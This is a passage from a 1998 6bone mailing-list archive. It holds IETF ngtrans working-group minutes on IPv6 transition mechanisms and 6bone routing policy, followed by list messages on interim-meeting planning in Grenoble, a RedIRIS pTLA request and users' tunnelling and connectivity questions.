Discovery (ND not used on unidirectional links.)

Will add restriction that decapsulated packets not be forwarded unless the
source address is acceptable to the decapsulating router.

___

Announced conclusion of last call for SIIT, which will now be forwarded for
IESG processing as Experimental RFC.

___

Discussed WG last call for NAT-PT Experimental RFC forwarding with agreement
that the author would cleanup references to, and duplication of, SIIT work.
Then another last call will be done.

___

Announced conclusion of last call for 6bone Routing Practices, which will now
be forwarded for IESG processing as Informational RFC.

___

Kazu Yamamoto from the Internet Initiative Japan gave a presentation on
"Categorizing Translators Between IPv4 and IPv6"
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-translator-00.txt>
(co-author is Munechika Simikawa from Hitachi). This work has value to the
transition activity as an Informational RFC, so this will be explored with the
authors.

___

Kazuaki Tsuchiya from Hitachi gave a presentation on "Dual Stack Hosts Using
the Bump-in-the-Stack Technique"
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-dual-stack-hosts-00.
txt>
(co-authors are Hidemitsu Higuchi and Yoshifumi Atarashi, also from Hitachi).
This work allows IPv6 access to IPv4 applications through a translator
installed in the target host. There was some question as to whether this work
could progress as is, and whether it should be Informational or Experimental.
This will be pursued on the mailing list by the author. The presentation is
available at <http://www.hitachi.co.jp/Prod/comp/network/pexv6-e.htm>

___

Hiroshi Kitamura from NEC and Shinji Kobayashi from Fujitsu jointly presented
their work on "SOCKS5 based Transition Technology" which has been published as
<draft-kitamura-socks-ipv6-trans-arch-00.txt> and as 
<draft-jinzaki-socks64-00.txt> (co-Author Akira Jinzaki from Fujitsu). This
presentation is available at
<http://www.v6.wide.ad.jp/Presentations/ietf43-ngtrans-socks/>. The three
authors will now decide how to jointly prepare an I-D for processing either as
Informational or Experimental RFC.

___

Hossam Afifi presented "A Dynamic Tunneling Interface"
<ftp://ftp.rennes.enst-bretagne.fr/pub/network/draft-toutain-dti-00.txt>
(co-author Laurent Toutain from ENST-Bretagne). The motivation for the work was
to make the smallest number of modifications to applications and components to
communicate between IPv4 and IPv6 applications. IPv4 packets from the
application are intercepted in a dynamic tunnel interface (dti) library to look
in DNS to see if there is an IPv6 destination address, and a dynamic v4 in v6
tunnel is set up. The authors will submit their I-D as an ngtrans draft and
circulate it on the mail list for comment. This work would presumably be
eventually processed as an Experimental RFC.

___

Brian Carpenter from IBM presented his ideas for "A '624' TLA for Automatic
Tunneling". The concept being that a special TLA would be allocated to indicate
that the NLA 32-bit field below it contained the IPv4 address for an IPv6 over
IPv4 tunnel endpoint to be used in communicating with the host so advertising
that IPv6 address. 

Presumably this would be done by hosts with no direct IPv6 connectivity between
them. Thus if a TLA=624 was discovered by DNS lookup, IPv6 packets could be
automatically encapsulated in IPv4 protocol 41 tunnels to the IPv4 address in
the NLA portion of the TLA=624 address. 

It is believed that there is no impact to IPv6 routing tables. When IPv4 goes
away then these prefixes would also. One open issue identified is that you
could not use these addresses for multicast.

Brian will formulate this into an I-D and circulate it.

___

Laurent Toutain presented his work on "Manipulating the 6bone Registry Objects
Through a Web Interface", work which will integrated with David Kessens' IPv6
registry work. This effort should make the process of IPv6 sites managing and
updating their objects much easier. This work is very helpful to all!

___

Bob Hinden discussed the Sub-TLA block allocation I-D
(draft-ietf-ipngwg-iana-tla-00.txt) that was written jointly by the ngtrans and
ipng WG chairs to advise the IANA on initial Sub-TLA allocations to APNIC, ARIN
and RIPE-NCC. It is hoped that this I-D will allow the initial Sub-TLA registry
assignment process to continue to successful conclusion in the first quarter of
1999.

___

David Kessens gave a brief update of the 6bone.  There are now 51 6bone
backbone sites and a total of 332 6bone sites in 39 countries. The registry is
seeing 1700 queries and 8 updates a day. David announced that he has moved to
Quest, and that Quest has agreed to have him move the 6bone registry from ISI
to Quest. Thanks as always to David, and now Quest, for his fine efforts on
IPv6 registries.

___

Ivano Guardini from CSELT gave an update of 6bone backbone routing activity and
analysis by CSELT. Since the last IETF he has been collecting BGP4+ routing
information provided by ASpath-tree. The BGP4+ routing table of their border
router is downloaded and analyzed every 5 mins. Then 6bone routing behavior is
measured in terms of number of advertised prefixes, overall route availability
and overall route unstability. 

These studies are showing increasing pTLA route availability, and an
unstability of 2.5%. These studies are from CSELT's perspective, and Ivano
would like others to join in analyzing this data from their sites perspective.
Please contact him at ivano.guardini@cselt.it or Paolo Fasano at
paolo.fasano@cselt.it.

The reports and other information is available through
<http://carmen.cselt.it/ipv6/index.html>.

Thanks also to Ivano for his fine efforts on helping us understand the
stability of routing on the 6bone.
___

Rob Rockell presented his views on the need to tighten 6bone backbone routing
policing, and for everyone to follow the 6bone Routing Practices I-D rules. 

He discussed why good 6bone routing policy is needed for proper IPv6 testing,
to figure out multi-homing problems, and downstream routing policy concerns.

Policy is needed between pTLAs as addresses aren't portable, and routing is
supposed to be simple and aggregated.

He strongly encouraged 6bone pTLA peers to accept only top-level aggregates
(i.e., /24s) and reject anything more specific. Only accept more than your
neighboring peer pTLA if agreed upon for providing transit for other pTLAs.

Also, pTLAs should not pass on things that cause trouble, don't waste the BGP
and line sending unaggregated routes.  Therefore, only send your aggregates and
whatever other pTLAs you want to give transit for.  

Do not allow more specific routes. 

Only allow the space that you have delegated (to NLAs below you) to be
announced up through you into your AS. 

Allowing other TLA space through your routing domain disables the good value of
the iPv6 addressing hierarchy.

___

Bob Fink from ESnet presented the new 6REN production IPv6 Research and
Education Networks (RENs) initiative. The 6REN is not a network like the 6bone,
rather a collaborative effort, sponsored and established by ESnet, to move RENs
to production IPv6 service as soon as possible to allow momentum to be
maintained in the release of IPv6 in production systems and routers, and to
facilitate getting applications operational over IPv6. 

The 6REN effort started in October with production native IPv6 over ATM
peerings between ESnet, vBNS, CAIRN and CA*net2. As soon as the regional
address registries can allocate Sub-TLAs to these networks (which they have
requested), they will renumber out of 6bone space. 

The 6ren is a no cost, open to all, initiative, including for-profit production
IPv6 networks. It is not an IETF activity, though it will present information
as appropriate to the ngtrans WG to assist in transition activities.

-end


--=====================_464915961==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Minutes of NGtrans WG Meeting<br>
8 December 1998<br>
Orlando IETF<br>
<br>
Chairs: Bob Fink fink@es.net<br>
Tony Hain tonyhain@microsoft.com<br>
<br>
This ngtrans meeting reported by Alain Durand, Bob Fink and Tony
Hain<br>
<br>
Attendance: 170 signed in, estimated at 200 actually present<br>
________________________________________________________________<br>
Administrative information:<br>
<br>
Discussion ngtrans:&nbsp; ngtrans@sunroof.eng.sun.com<br>
Subscribe ngtrans:&nbsp;&nbsp; majordomo@sunroof.eng.sun.com
&quot;subscribe ngtrans&quot;<br>
Archive ngtrans:&nbsp;&nbsp;&nbsp;&nbsp;
<a href="ftp://playground.sun.com/pub/ngtrans" eudora="autourl">ftp://playground.sun.com/pub/ngtrans</a><br>
Web
site:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<a href="http://www.6bone.net/ngtrans.html" eudora="autourl">http://www.6bone.net/ngtrans.html</a><br>
<br>
Discussion 6bone:&nbsp;&nbsp;&nbsp; 6bone@isi.edu<br>
Subscribe 6bone:&nbsp;&nbsp;&nbsp;&nbsp; majordomo@isi.edu
&quot;subscribe 6bone&quot;<br>
Archive ngtrans:&nbsp;&nbsp;&nbsp;&nbsp;
<a href="http://www.ipv6.nas.nasa.gov/6bone/" eudora="autourl">http://www.ipv6.nas.nasa.gov/6bone/</a><br>
Web
site:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<a href="http://www.6bone.net/" eudora="autourl">http://www.6bone.net</a><br>
<br>
<br>
___<br>
<br>
The chairs announced there will be a joint ngtrans/ipng interim meeting
in the San Francisco area in early February for future planning of IETF
IPv6 work. Further revisions to the ngtrans charter will await these
discussions and due process in the WG. An announcement will be made to
all the mail lists as soon as possible as to time and place.<br>
<br>
Bob Gilligan has resigned as a co-chair of ngtrans due to other
commitments. The continuing co-chairs would like to thank Bob for all his
past IPv6 work, for the IPng WG and NGtrans WG. Newcomers should be aware
that Bob helped craft IPv6's excellent Transition Mechanisms concepts and
architecture.<br>
<br>
___<br>
<br>
Erik Nordmark from Sun concluded discussion on the I-D for replacement of
RFC 1933 (Transition Mechanisms) and will proceed with a last call on
this work. Items that will be included in the -01 to -02 version of the
I-D are:<br>
<br>
Will add clarification that configured tunnels can be unidirectional or
bidirectional.<br>
<br>
Will add description of bidirectional virtual links as another type of
tunnel, and that nodes MUST respond to NUD probes on such links and
SHOULD send NUD probes.<br>
<br>
Will add reference to [6over4] work.<br>
<br>
Will clarify that IPv4-compatible addresses are assigned exclusively to
nodes that support automatic tunnels.<br>
<br>
Will add text about formation of link-local addresses and use of Neighbor
Discovery (ND not used on unidirectional links.)<br>
<br>
Will add restriction that decapsulated packets not be forwarded unless
the source address is acceptable to the decapsulating router.<br>
<br>
___<br>
<br>
Announced conclusion of last call for SIIT, which will now be forwarded
for IESG processing as Experimental RFC.<br>
<br>
___<br>
<br>
Discussed WG last call for NAT-PT Experimental RFC forwarding with
agreement that the author would cleanup references to, and duplication
of, SIIT work. Then another last call will be done.<br>
<br>
___<br>
<br>
Announced conclusion of last call for 6bone Routing Practices, which will
now be forwarded for IESG processing as Informational RFC.<br>
<br>
___<br>
<br>
Kazu Yamamoto from the Internet Initiative Japan gave a presentation on
&quot;Categorizing Translators Between IPv4 and IPv6&quot;
&lt;<a href="http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-translator-00.txt" eudora="autourl">http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-translator-00.txt</a>&gt;
(co-author is Munechika Simikawa from Hitachi). This work has value to
the transition activity as an Informational RFC, so this will be explored
with the authors.<br>
<br>
___<br>
<br>
Kazuaki Tsuchiya from Hitachi gave a presentation on &quot;Dual Stack
Hosts Using the Bump-in-the-Stack Technique&quot;
&lt;<a href="http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-dual-stack-hosts-00.txt" eudora="autourl">http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-dual-stack-hosts-00.txt</a>&gt;
(co-authors are Hidemitsu Higuchi and Yoshifumi Atarashi, also from
Hitachi). This work allows IPv6 access to IPv4 applications through a
translator installed in the target host. There was some question as to
whether this work could progress as is, and whether it should be
Informational or Experimental. This will be pursued on the mailing list
by the author. The presentation is available at
&lt;<a href="http://www.hitachi.co.jp/Prod/comp/network/pexv6-e.htm" eudora="autourl"><font color="#0000FF"><u>http://www.hitachi.co.jp/Prod/comp/network/pexv6-e.htm</a></font></u>&gt;<br>
<br>
___<br>
<br>
Hiroshi Kitamura from NEC and Shinji Kobayashi from Fujitsu jointly
presented their work on &quot;SOCKS5 based Transition Technology&quot;
which has been published as
&lt;draft-kitamura-socks-ipv6-trans-arch-00.txt&gt; and as <br>
&lt;draft-jinzaki-socks64-00.txt&gt; (co-Author Akira Jinzaki from
Fujitsu). This presentation is available at
&lt;<a href="http://www.v6.wide.ad.jp/Presentations/ietf43-ngtrans-socks/" eudora="autourl"><font color="#0000FF"><u>http://www.v6.wide.ad.jp/Presentations/ietf43-ngtrans-socks/</a></font></u>&gt;.
The three authors will now decide how to jointly prepare an I-D for
processing either as Informational or Experimental RFC.<br>
<br>
___<br>
<br>
Hossam Afifi presented &quot;A Dynamic Tunneling Interface&quot;
<font color="#0000FF">&lt;<a href="ftp://ftp.rennes.enst-bretagne.fr/pub/network/draft-toutain-dti-00.txt" eudora="autourl"><u>ftp://ftp.rennes.enst-bretagne.fr/pub/network/draft-toutain-dti-00.txt</a></u>&gt;</font>
(co-author Laurent Toutain from ENST-Bretagne). The motivation for the work was to make the smallest number of modifications to applications and components to communicate between IPv4 and IPv6 applications. IPv4 packets from the application are intercepted in a dynamic tunnel interface (dti) library to look in DNS to see if there is an IPv6 destination address, and a dynamic v4 in v6 tunnel is set up. The authors will submit their I-D as an ngtrans draft and circulate it on the mail list for comment. This work would presumably be eventually processed as an Experimental RFC.<br>
<br>
___<br>
<br>
Brian Carpenter from IBM presented his ideas for &quot;A '624' TLA for Automatic Tunneling&quot;. The concept being that a special TLA would be allocated to indicate that the NLA 32-bit field below it contained the IPv4 address for an IPv6 over IPv4 tunnel endpoint to be used in communicating with the host so advertising that IPv6 address. <br>
<br>
Presumably this would be done by hosts with no direct IPv6 connectivity between them. Thus if a TLA=624 was discovered by DNS lookup, IPv6 packets could be automatically encapsulated in IPv4 protocol 41 tunnels to the IPv4 address in the NLA portion of the TLA=624 address. <br>
<br>
It is believed that there is no impact to IPv6 routing tables. When IPv4 goes away then these prefixes would also. One open issue identified is that you could not use these addresses for multicast.<br>
<br>
Brian will formulate this into an I-D and circulate it.<br>
<br>
___<br>
<br>
Laurent Toutain presented his work on &quot;Manipulating the 6bone Registry Objects Through a Web Interface&quot;, work which will integrated with David Kessens' IPv6 registry work. This effort should make the process of IPv6 sites managing and updating their objects much easier. This work is very helpful to all!<br>
<br>
___<br>
<br>
Bob Hinden discussed the Sub-TLA block allocation I-D (draft-ietf-ipngwg-iana-tla-00.txt) that was written jointly by the ngtrans and ipng WG chairs to advise the IANA on initial Sub-TLA allocations to APNIC, ARIN and RIPE-NCC. It is hoped that this I-D will allow the initial Sub-TLA registry assignment process to continue to successful conclusion in the first quarter of 1999.<br>
<br>
___<br>
<br>
David Kessens gave a brief update of the 6bone.&nbsp; There are now 51 6bone backbone sites and a total of 332 6bone sites in 39 countries. The registry is seeing 1700 queries and 8 updates a day. David announced that he has moved to Quest, and that Quest has agreed to have him move the 6bone registry from ISI to Quest. Thanks as always to David, and now Quest, for his fine efforts on IPv6 registries.<br>
<br>
___<br>
<br>
Ivano Guardini from CSELT gave an update of 6bone backbone routing activity and analysis by CSELT. Since the last IETF he has been collecting BGP4+ routing information provided by ASpath-tree. The BGP4+ routing table of their border router is downloaded and analyzed every 5 mins. Then 6bone routing behavior is measured in terms of number of advertised prefixes, overall route availability and overall route unstability. <br>
<br>
These studies are showing increasing pTLA route availability, and an unstability of 2.5%. These studies are from CSELT's perspective, and Ivano would like others to join in analyzing this data from their sites perspective. Please contact him at ivano.guardini@cselt.it or Paolo Fasano at paolo.fasano@cselt.it.<br>
<br>
The reports and other information is available through &lt;<a href="http://carmen.cselt.it/ipv6/index.html" eudora="autourl"><font color="#0000FF"><u>http://carmen.cselt.it/ipv6/index.html</a></font></u>&gt;.<br>
<br>
Thanks also to Ivano for his fine efforts on helping us understand the stability of routing on the 6bone.<br>
___<br>
<br>
Rob Rockell presented his views on the need to tighten 6bone backbone routing policing, and for everyone to follow the 6bone Routing Practices I-D rules. <br>
<br>
He discussed why good 6bone routing policy is needed for proper IPv6 testing, to figure out multi-homing problems, and downstream routing policy concerns.<br>
<br>
Policy is needed between pTLAs as addresses aren't portable, and routing is supposed to be simple and aggregated.<br>
<br>
He strongly encouraged 6bone pTLA peers to accept only top-level aggregates (i.e., /24s) and reject anything more specific. Only accept more than your neighboring peer pTLA if agreed upon for providing transit for other pTLAs.<br>
<br>
Also, pTLAs should not pass on things that cause trouble, don't waste the BGP and line sending unaggregated routes.&nbsp; Therefore, only send your aggregates and whatever other pTLAs you want to give transit for.&nbsp; <br>
<br>
Do not allow more specific routes. <br>
<br>
Only allow the space that you have delegated (to NLAs below you) to be announced up through you into your AS. <br>
<br>
Allowing other TLA space through your routing domain disables the good value of the iPv6 addressing hierarchy.<br>
<br>
___<br>
<br>
Bob Fink from ESnet presented the new 6REN production IPv6 Research and Education Networks (RENs) initiative. The 6REN is not a network like the 6bone, rather a collaborative effort, sponsored and established by ESnet, to move RENs to production IPv6 service as soon as possible to allow momentum to be maintained in the release of IPv6 in production systems and routers, and to facilitate getting applications operational over IPv6. <br>
<br>
The 6REN effort started in October with production native IPv6 over ATM peerings between ESnet, vBNS, CAIRN and CA*net2. As soon as the regional address registries can allocate Sub-TLAs to these networks (which they have requested), they will renumber out of 6bone space. <br>
<br>
The 6ren is a no cost, open to all, initiative, including for-profit production IPv6 networks. It is not an IETF activity, though it will present information as appropriate to the ngtrans WG to assist in transition activities.<br>
<br>
-end<br>
<br>
</html>

--=====================_464915961==_.ALT--


From 6bone-owner  Wed Dec 16 00:17:35 1998
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Date: Wed, 16 Dec 1998 00:17:27 -0800
To: ipng@sunroof.Eng.Sun.COM, ngtrans@sunroof.Eng.Sun.COM, 6bone@ISI.EDU
From: Steve Deering <deering@cisco.com>
Subject: interim meeting planning
Cc: hinden@iprg.nokia.com, rlfink@lbl.gov, tonyhain@microsoft.com,
        deering@cisco.com
Sender: owner-6bone@zephyr.isi.edu
Precedence: bulk
Status: RO

As mentioned in the ipngwg and ngtrans meetings in Orlando last week,
the chairs of the two working groups propose to hold a two-day joint
interim meeting in the first week of February to discuss the next steps
in IPv6 standardization, implementation, transition, and deployment.
We propose also to allocate a third day for non-working-group business,
such as coordination of the 6bone, 6ren, and other IPv6-related
initiatives.  A more concrete agenda is in preparation, but of
immediate concern is deciding where to meet.  We have narrowed it
down to two choices:

	(1) the San Francisco Bay Area

	(2) Grenoble, France

The meeting dates will be February 2-4.

We would like to hear as soon as possible (like, within the next 24 hours)
from those of you who would like to attend the meeting but will be able
to attend in only one of those two places.  Specifically:

	- If you can attend in either place, do not reply.

	- If you cannot attend in either place, do not reply,

	- If you can attend in only one of those two places,
	  please reply as soon as possible to Bob, Bob, Tony, and me
	  (our addresses are in the Cc: line, above; please do NOT reply
	  to the three mailing lists in the To: line!), and tell us
	  in which place you can attend.

Thanks,
Steve



From 6bone-owner  Wed Dec 16 07:52:51 1998
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From: Spencer Giacalone <Spencer.Giacalone@digital.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: V6 addresses
Date: Wed, 16 Dec 1998 10:52:45 -0500
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Guys,

I finally have my laptop tunnel connection up. I can ping my router using
v6, However I can't ping to the 6bone. So the troubleshooting starts now. 

Can someone give me a known good v6 address, please.

Thanks,

Spence

From 6bone-owner  Wed Dec 16 09:01:56 1998
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Date: Wed, 16 Dec 1998 11:57:42 -0500
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: pTLA request from RedIRIS
Cc: "Antonio Marquez. RedIRIS" <antonio@chico.rediris.es>
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6bone folk,

The RedIRIS folk in Spain have requested pTLA status (see below). I would
like to have comments pro and con on this, to me or the mailer.

I will close the discussion for a final decision on 28 Feb 98.


Thanks,

Bob

========
At 05:37 PM 12/15/98 +0100, Antonio Marquez. RedIRIS wrote:
>
>Dear Bob,
>
>
>I am responsible for the RedIRIS (who manages the spanish research
>network) ipv6 project. RedIRIS would like to apply for a ptla assignment.
>
>RedIRIS is in charge of managing the spanish research community
>network. We've been working with ipv6 since april 1997, with the goal of
>establishing an appropiate transition scheme when the time comes, and
>to assess the benefits for the network.
>
>
>1. must have experience with ipv6 in the 6bone, at least as a leaf
>site, and preferably as an NLA transit under a pTLA.
>
>we are operating a 6bone node at RedIRIS's management center, and have
>established tunnels: first, RIPng with surfnet/nl and now bgp4+ routing peer
>with surfnet/nl and RIPng routing with an spanish university. We have been
>experimenting with 6bone connectivity:
>
>NLA network 5F02:FE00::/32 under SURFNET (6bone NL-pTLA) first and
>3FFE:0608:0::/48 under SURFNET (6bone NL-pTLA) since november 1997.
>
>We have assigned some address prefix for sites below our NLA and are now
>providing transit service for 6bone connectivity.
>
>
>2. must have the ability and intent to provide "production-like" 6bone
>backbone service to provide a robust and operationally reliable 6bone
>backbone.
>
>we currently run several services on an ipv6 node at RedIRIS's management
>center and have several agreements to connect several institutions who
>have an interest in ipv6, namely several spanish universities.
>
>
>3. must have a potential "user community" that would be served by
>becoming a pTLA, e.g., the requester is a major player in a region,
>country or focus of interest.
>
>RedIRIS manages the spanish national research comunnity network,
>connecting the majority of the universities in the country, as well as
>many research organizations.
>
>
>4. must commit to abide by whatever the 6bone backbone operational
>rules and policies are (currently there are no formal ones, but the
>alain duran draft is a start in trying to define some).
>
>we hereby state that will abide to the 6bone operational rules and
>policies.
>
>
>Now, we are updating 6bone database objects. I hope that after studying these
>responses, you will assign a pTLA to us.
>
>
>Thank you in advance.
>
>
>Antonio Marquez.
>
>-- 
>
> __________________           __                   
>__________________________                                           
>                             /_/
> Antonio Marquez      __            __      Email: antonio.marquez@rediris.es
> RedIRIS/CSIC        /_/  RedIRIS  /_/      Tel:   + 34 91 5855150
> Serrano,142                __              Fax:   + 34 91 5855146
> 28006  Madrid             /_/
>     SPAIN                    		Centro de Gestion de RED de REDIRIS
> 
> ________________ Spanish Academic & Research Network _______________________


From 6bone-owner  Wed Dec 16 11:23:51 1998
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From: Spencer Giacalone <Spencer.Giacalone@digital.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: problem isolated
Date: Wed, 16 Dec 1998 14:23:33 -0500
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Guys,

Thanks for the responces. Working within DEC, the problem has been traced to
firewalls. 

Spence

From 6bone-owner  Wed Dec 16 21:41:53 1998
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From: IPv6 Administrator <ipv6@linux.tc>
To: 6bone@ISI.EDU
Subject: Can somebody bring me up to speed?
Message-ID: <Pine.LNX.4.02.9812170039450.5977-100000@fluxnet.linux.tc>
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I have been gone for the last 2-3 months, could somebody please inform me
of any new developments with 6bone.

Thank you,
John


From 6bone-owner  Thu Dec 17 07:48:38 1998
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Date: Thu, 17 Dec 1998 17:44:39 +0200 (EET)
From: Hossam El-Ashkar <hoashkar@idsc1.gov.eg>
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Subject: Re: Can somebody bring me up to speed?
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Please same here!!!

On Thu, 17 Dec 1998, IPv6 Administrator wrote:

> I have been gone for the last 2-3 months, could somebody please inform me
> of any new developments with 6bone.
> 
> Thank you,
> John
> 
> 

--------------------------------------------------------------
Hossam El-Ashkar
IDSC/RITSEC - Communication Dept.
hoashkar@idsc1.gov.eg


From 6bone-owner  Thu Dec 17 12:44:21 1998
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Date: Thu, 17 Dec 1998 20:44:06 +0000 (GMT)
From: Steve Hill <firefury@sucs.swan.ac.uk>
To: 6bone@ISI.EDU
Subject: Dial-Up
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I'm currently in the process of setting up IPv6 for use on my LAN (not
connected to the 6Bone).  I'm thinking about possibly connecting to the
6Bone once I have the basics figured out, but my only internet access
where I could really use IPv6 is via my Demon Internet account.  This is a
static-IP dial-up account.  Would I still be able to put my LAN on the
6bone or would it be too complex, having to open and close IPv6-on-IPv4
tunnels each time I connect and disconnect?  I assume the fact that my
account is static-IP will make things a little easier..

 - Steve


From 6bone-owner  Thu Dec 17 17:37:26 1998
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Cc: 6bone@ISI.EDU
Subject: Re: Dial-Up
References: <Pine.LNX.3.96.981217204028.2955A-100000@sucs.swan.ac.uk>
From: Magnus Ahltorp <map@stacken.kth.se>
Date: 18 Dec 1998 02:37:12 +0100
In-Reply-To: Steve Hill's message of Thu, 17 Dec 1998 20:44:06 +0000 (GMT)
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> This is a static-IP dial-up account.  Would I still be able to put
> my LAN on the 6bone or would it be too complex, having to open and
> close IPv6-on-IPv4 tunnels each time I connect and disconnect?  I
> assume the fact that my account is static-IP will make things a
> little easier..

Your assumption is correct. In your case, nothing is really different
from having a normal 6bone connection. If you do normal static routing
with your peer, there is nothing called "a connection" between your
machine and your 6bone connection point. The IPv6 packets are just
prepended with an IPv4 header, and along they go.

So, your connection procedure should be the same as a "normal" 6bone
leaf site.

Magnus Ahltorp
Stacken Computer Club (STACKEN)
Royal Institute of Technology
Stockholm, Sweden

From 6bone-owner  Fri Dec 18 06:54:26 1998
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Date: Fri, 18 Dec 1998 15:52:44 +0100
To: ipng@sunroof.Eng.Sun.COM, ngtrans@sunroof.Eng.Sun.COM, 6bone@ISI.EDU
From: Alain Durand <Alain.Durand@imag.fr>
Subject: Interim Meeting, travel direction
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I'm very pleased to host the interim meeting in Grenoble.

Here are some travel directions:

Airports:
         - Grenoble Saint Geoir. Very little traffic on it. Mostly
           4 flights a day for Paris-Orly (2 in the morning, 2 in the evening)
           and return from Paris-Orly.
           Beware: most international flight arrives at PARIS-Charles-de-Gaule
(CDG)
            (Roissy) which is very far away from Orly.
           A shuttle bus to Grenoble-downtown waits passenger at each flight.
           You can also rent a car at the airport. Gaz is expensive in france.
           Taxy is very expensive on long distance. It's about 40 min drive to
Grenoble.
           Just take the Highway to Grenoble.

          - Lyon-Satolas
            It's an international airport, many flights arrives there. You can
also
            arrives there in a flight connected from Paris-CDG (Air-France,
Delta,...)
            or Zurich (Swissair). There is a shuttle service direct to
Grenoble
every hour.
            You can also rent a car at the airport. It's an hour drive to
grenoble.
            Just take the Highway to Grenoble.

            Note: if you depart from the same airport you arrived, ask for a
round-trip
            shuttle ticket, it's much cheaper (190F instead of 2 x 130F for
Lyon's airport)

           - Geneva
              It's about 2 hours drive from Grenoble. It might make some sense
if you
              intend to rent a car.

Trains:

            It's usually the best way to come to Grenoble from Paris. It takes
3h only,
            as the train (TGV) drives 300kph, a little less than 200mph.
            The TGV leaves from PARIS-Gare-de-Lyon and is direct, non stop to
Grenoble.
            Some of them are direct from Paris-CDG
           See http://www.sncf.fr for details (they have an english version)

Hotels:
       Here is a list of hotels downtown Grenoble:

        · hotel des Alpes - 45 avenue Félix Viallet  +33 4 76 87 00 71
        12 rooms reserved.  270F with breakfast. Specify IETF.

        · hotel Bastille - 25 avenue Félix Viallet  +33 4 76 43 10 27
        20 rooms reserved 247F with breakfast fax: +33 476 87 52 69. Specify
IETF

        · hotel Bristol - 11 avenue Félix Viallet +33 4 76 46 11 18 
        - room: 175 F to 245 F (Breakfast 25 F) 
        · hotel de l'Institut - 10 rue Barbillon  +33 4 76 46 36 44
        - room  215 F to  240 F (Breakfast 25 F) 
        · hotel Touring hotel - 26 avenue Alsace Lorraine  +33 4 76 46 24 32
        - room 190 F to 210 F (Breakfast 25 F) 

      The standard of those hotels is somehow less than the one we usually
have
       for IETF meetings, but they are OK.

        All those hotels are less than 5 min walk from the train station.
Airport shuttle
        arrives at the bus station wich is located next to the train station.

Restaurants:
        Many!!! The best ones are in the pedestrian streets, 5 to 10 min walk
from
        the hotels. Menus are from 60F to 160F+. 

Transportation:
        Downtown Grenoble, just walk. To go to the university Campus, take the
        Tramway B direction University. it's about 15 min ride. Tram fare is
7F50
        per ticket. You might buy 10 tickets for about 50F.
        You might want to take a taxi, it will be a 10 min ride for about 50F

Meeting Room:
        It will be at IMAG, maison Jean Kuntzmann.
        It's 1 min walk from the tram terminus.
        See map http://www.imag.fr/Multimedia/logos/Domaine.gif
        Some pictures: http://www.imag.fr/Multimedia/jeudis/mjk.html
        Information about IMAG: http://www.imag.fr


Terminal Room:
        We will install some PCs and ether links for laptops.
        The format of printers is A4, not letter.

Lunches:
        We will organise a catering service. We will have to charge some fees
for that,
        more information later.

Misc:
        Power is 220V is france, 50 Hz. Plugs are round. You can find adapters
        easily in the US (Radio Shack), it's more difficult to get in france.

Inscription & Hotel reservation:
        Contact ietf@imag.fr for inscriptions. Due to security reasons, the
meeting
       room is limited to 100 persons.
       I will do the reservation in the hotels for you if you desire. Send
exact arrival
       and departure dates to ietf@imag.fr.

Other:
       Contact ietf@imag.fr

       You might find some information on http://www.Yahoo.fr or
http://www.nomade.fr
       or http://www.pageswoom.tm.fr

        - Alain.








From 6bone-owner  Fri Dec 18 09:05:19 1998
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Date: Fri, 18 Dec 1998 09:11:25 -0800 (PST)
From: Chandra Tekwani <ctekwani@cup.hp.com>
Message-Id: <199812181711.JAA17680@hpindtug.cup.hp.com>
To: ipng@sunroof.Eng.Sun.COM, 6bone@ISI.EDU
Subject: IPv6 Developer's Kit for HP-UX 11.0 available
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Hewlett-Packard announces the availability of IPv6 Developer's Kit for HP-UX

Hewlett-Packard has released the IPv6 Developer's Kit Version 1.0 
for experimentation, evaluation and development of applications. 

The IPv6 Developer's Kit Version 1.0 is available from 
"http://www.software.hp.com" under "Internet & Security". 

IPv6 Developer's Kit Version 1.0 runs on 32-bit, HP-UX 11.00 systems.

You can send any questions/queries about IPv6 Developer's Kit for HP-UX to
hpux-ipv6@cup.hp.com.


Chandra Tekwani
HP-UX IPv6 Team

From 6bone-owner  Fri Dec 18 15:16:27 1998
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From: <dewell@woods.net>
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Subject: new/old connection please
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Hello everyone,

We were connected some time ago, but due to "vendor
complications" as well as other problems, we haven't had any
6bone connectivity for at least 6-8 months.  And, well, I'd like
to reconnect.  Our original v6 provider seems pretty busy, or
dropped off the planet (NWNET), in any case I haven't heard
anything from them in a while.  My next plan was to ask here to
see if there is someone else with more time to set up a new
connection.

Our previous connection was back with the previous address
prefix, so we'd need to renumber anyway.

I intend to provide transit to some other entities in Alaska who
aren't connected to the University (which is to say most of
them) and who want v6 connectivity.

Are there any more news/rumors from Cisco?

We're connected (once removed) to UUnet, AGIS, Sprint and IXC in 
Seattle.  Well, the Sprint is through AT&T Alascom, so there is
an extra entity there.

Thanks!

_______________________________________________________________________
|Aaron Dewell			===>		dewell@woods.net      |
|aka		local guru	===>		dewell@greatland.net  |
|http://www.woods.net/~dewell			http://www.woods.net/ |
|PGP keyid 0x0D12A6B9 available from http://keys.pgp.com/	      |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


From 6bone-owner  Sat Dec 19 02:04:07 1998
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Date: Sat, 19 Dec 1998 05:04:07 -0500
From: sara ruhmann <sara@puck.nether.net>
To: dewell@woods.net, 6bone@ISI.EDU
Subject: Re: new/old connection please
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NWNet is still here.  We're now part of Verio.  Our 6bone expert is now 
working for the Verio backbone team, so I'm slowly taking over support of 
our node.  I would be happy to straiten out your 6bone connectivity through
NWNet.  Drop me a note at sara@nw.verio.net.

-sara


On Fri, Dec 18, 1998 at 02:16:08PM -0900, dewell@woods.net wrote:
> 
> Hello everyone,
> 
> We were connected some time ago, but due to "vendor
> complications" as well as other problems, we haven't had any
> 6bone connectivity for at least 6-8 months.  And, well, I'd like
> to reconnect.  Our original v6 provider seems pretty busy, or
